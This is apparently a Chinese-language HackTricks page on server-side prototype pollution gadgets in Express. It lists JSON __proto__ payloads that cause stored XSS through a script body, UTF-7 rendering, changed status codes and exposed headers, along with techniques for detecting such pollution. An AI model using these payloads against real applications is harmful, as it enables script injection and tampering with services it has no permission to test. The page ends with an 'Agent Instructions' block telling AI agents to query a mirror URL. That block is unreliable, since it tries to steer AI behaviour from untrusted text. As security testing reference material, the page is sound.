# Express Prototype Pollution Gadgets

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 提供XSS响应

**有关更多详细信息，请参阅**[**原始研究**](https://portswigger.net/research/server-side-prototype-pollution)

### 将JSON内容类型更改为HTML

在使用**JSON内容类型响应**并反映JSON的Express应用程序中：

```javascript
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});
```

在这些情况下，使用 JSON 内容类型通常不会导致 XSS。然而，通过原型污染，我们可以**混淆 Express 以提供 HTML 响应。** 这种漏洞依赖于应用程序使用\*\*`res.send(obj)`\*\* 并使用 body 解析器与 application/json 内容类型。

```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```

通过**污染** **`body`** 和 **`_body`** 属性，可以导致**Express提供HTML内容类型**并反映`_body`属性，从而导致存储型XSS。

### 渲染UTF7

可以让express **渲染UTF-7内容**：

```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
```

## 安全扫描技巧

### JSON 空格

以下的 PP 将使 JSON 内部的属性多出一个空格，而不会破坏功能：

```json
{"__proto__":{"json spaces": " "}}
```

然后反射的 JSON 将如下所示：

```json
{"foo":  "bar"} -- Note the extra space
```

### 暴露的头部

以下的 PP 工具将会让服务器发送回 HTTP 头部：**`Access-Control-Expose_headers: foo`**

```json
{"__proto__":{"exposedHeaders":["foo"]}}
```

需要安装**CORS模块**

### **OPTIONS方法**

使用以下有效载荷，可以**从OPTIONS响应中隐藏一个方法**：

```javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET
```

### **状态**

可以使用以下 PP 负载更改**返回的状态码**：

```json
{"__proto__":{"status":510}}
```

### 错误

当您使用原始值（如字符串）分配给原型时，会产生**无操作操作，因为原型必须是一个对象**。如果您尝试将原型对象分配给`Object.prototype`本身，这将**引发异常**。我们可以利用这两种行为来**检测原型污染是否成功**：

```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
```

### 反射值

当一个应用程序在其响应中包含一个对象时，创建一个与 `__proto__` 并列的**不寻常名称的属性**可能会很有见地。具体来说，如果**响应中只返回了不寻常的属性**，这可能表明应用程序存在漏洞：

```json
{"unusualName":"value","__proto__":"test"}
```

此外，在使用诸如Lodash之类的库的情况下，通过原型污染（PP）和直接在对象内部设置属性，提供了另一种诊断方法。如果在响应中省略了这样的属性，则表明Lodash在合并之前验证了目标对象中属性的存在：

```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```

## 其他

### 允许点

在 Express 中有一个选项，允许你**从查询字符串参数创建对象**。\
你绝对可以在一个漏洞**链**中使用它来利用**原型污染漏洞**。

```json
{"__proto__":{"allowDots":true}}
```

**`?foo.bar=baz` 在 Node 中创建一个对象。**

## 参考

* <https://portswigger.net/research/server-side-prototype-pollution>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
